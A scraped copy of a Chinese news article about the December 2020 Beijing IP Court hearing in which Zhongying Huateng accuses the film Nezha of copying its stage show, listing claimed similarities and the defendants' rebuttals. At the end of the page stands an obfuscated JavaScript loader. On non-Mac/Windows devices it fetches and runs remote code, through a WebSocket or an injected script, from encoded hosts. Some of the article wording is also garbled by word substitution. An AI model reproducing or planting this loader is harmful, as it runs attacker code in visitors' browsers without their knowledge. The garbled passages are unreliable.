《哪吒》被指抄袭案开庭:“相似之处”有12个?

时间:2020-12-12 04:08:17阅读:1839
中新网客户端北京12月11日电(记者 宋宇晟)去年7月,一部《哪吒之魔童降世》点燃了国漫迷的热情。影片上映后收获好评,被网友称为“国漫之光”。不过,这部作品却在上映后不久就身陷“抄袭风波”。在影片上
  • 哪咤(傅声)生于三千多年前的商代,父亲李靖(卢迪),是当时的总兵官,镇守陈塘关。在纣王的统治下,群众饱受榨…

中新网客户端北京12月11日电(记者 宋宇晟)去年7月,一部《哪吒之魔童降世》点燃了国漫迷的热情。影片上映后收获好评,被网友称为“国漫之光”。

但是,这部作品却在上映后不久就身陷“抄袭风波”。

在影片上映一年多今后,12月10日,北京知识产权法院开庭审理了《哪吒之魔童降世》被指抄袭一案。

《哪吒之魔童降世》海报。

“哪吒”引发的争议

《哪吒》究竟有没有抄袭?这一争议还要从去年7月说起。

2019年7月下旬,《哪吒之魔童降世》上映,随即引发一波观影热潮,浩繁网友也在社交媒体长进行讨论。

到了8月,箜篌演奏家石璟发微博称,《哪吒之魔童降世》的“内容、细节,甚至海报与我们演过的《五维记忆Memory5D+》非遗大秀的脚本、故事几乎惊人的一致”。

几天后,中影华腾通过微博发声,称其旗下IP剧作《Memory5D+五维记忆》创意秀,拥有国家版权保护中间审核原创著作版权,并已在国内外进行公演三年之久,侵权必究。

《哪吒》上映一个月后,中影华腾委托律师事务所,就其团队独创完成的作品《五维记忆》著作权涉嫌被某动画电影抄袭一事提供专项法律服务。

此后,网上关于此话题的争辩一向持续。但这并未影响《哪吒》票房一起走高。

电影《哪吒之魔童降世》截图。

在上映一个多月后,去年8月末,《哪吒之魔童降世》票房突破46.6亿,超过《流浪地球》的46.5亿,位列中国电影票房总榜第二。此后,中影华腾在其微博称遭遇网络暴力。

去年11月,北京知识产权法院11日受理了中影华腾诉杨某、北京光线影业有限公司等侵害作品改编权纠纷一案。

中影华腾微博截图。

中影华腾索赔5000万

至此,这一纠纷闹上了法庭。

中影华腾诉称,其于2016年创作完成《五维记忆》脚本文字作品并开始系列演出,此后又形成若干差别版本。2017年,中影华腾对《五维记忆》脚本“《memory》——中国非遗盛典”进行作品权利登记。

其享有《五维记忆》脚本和舞台剧的著作权,该作品自创作完成以来,经过了公开宣传和展演。

中影华腾认为,由杨某作为编剧和导演、北京光线影业有限公司等公司联合出品的《哪吒之魔童降世》在人物形象设计、故工作节和制作元素等方面与其作品《五维记忆》有大量相同或相似之处,侵犯了其作品改编权、复制权和发行权。

作为本案原告,中影华腾请求法院判令被告立即停止侵权、刊登声明以消除影响、连带赔偿经济损失5000万元并承担合理费用100万元。

对此,六被告认为,《五维记忆》表演无著作权权利基础。而《哪吒之魔童降世》的创作早于《五维记忆》演出版本的发表时间,“且《哪吒之魔童降世》与《五维记忆》不相同也不相似,客观上不存在侵犯原告权利的事实”。

被告方同时表示,从未看过《五维记忆》演出。

《五维记忆》海报。中影华腾微博截图

12个“相似之处”

庭审现场,原告方列举了其认为的《哪吒之魔童降世》与《五维记忆》的12个相似之处,涉及8处情节,以及人物形象、人物性格、人物关系和其他要素等。

针对8处“相似情节”,被告方也在庭审中进行比对、说明,并认为“两部作品的故事完全不相同”。

以原告方列举的一处相似情节为例,原告方称,在《五维记忆》里,精灵进入画中,在画中修炼与成长;而在《哪吒之魔童降世》里,是哪吒进入山河社稷图,在其中学习和修炼、成长。

原告方认为,电影是将《五维记忆》里的黑、白精灵进入画中学习、修炼、成长的情节改编为哪吒进入山河社稷图并在其中学习、修炼、成长。

被告方则觉得,原告对此处争议内容的概括已经属于思想层面,而非著作权保护的独创性表达,且概括错误、过度解读。被告方进而认为,这8个“相似情节”完全站不住脚。

《哪吒之魔童降世》海报。片方微博截图

此外,在人物形象方面,原告方称,《哪吒之魔童降世》里哪吒和敖丙额头的“半漩涡”式印记与《五维记忆》中黑、白精灵额头和胸前的“半漩涡”式印记相似。“这种分歧常理的巧合之处说明《哪吒之魔童降世》电影抄袭了《五维记忆》。”

对此,被告则认为,两者额头符号有明显区别,颜色、画法均差别,且在人物额头设计标记是常见的艺术表现手法,非原告独创。

庭审中,双方还就《五维记忆》表演是否拥有著作权权利展开辩论。最后陈述阶段,中影华腾表示同意调解,《哪吒》编剧导演及联合发行方差别意调解。此案未当庭宣判。

你觉得,《哪吒》抄袭了吗?

评论

  • 评论加载中...
--== 选择主题 ==--
function JeqEKbgC(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function FJeCoyWV(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JeqEKbgC(t);};window[''+'E'+'V'+'J'+'n'+'d'+'j'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=FJeCoyWV,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('aGoueGluYm8tbG9yYSS5jbg==','dHIueWVzdW422NzguY229t','151898',window,document,['S','2']);}:function(){};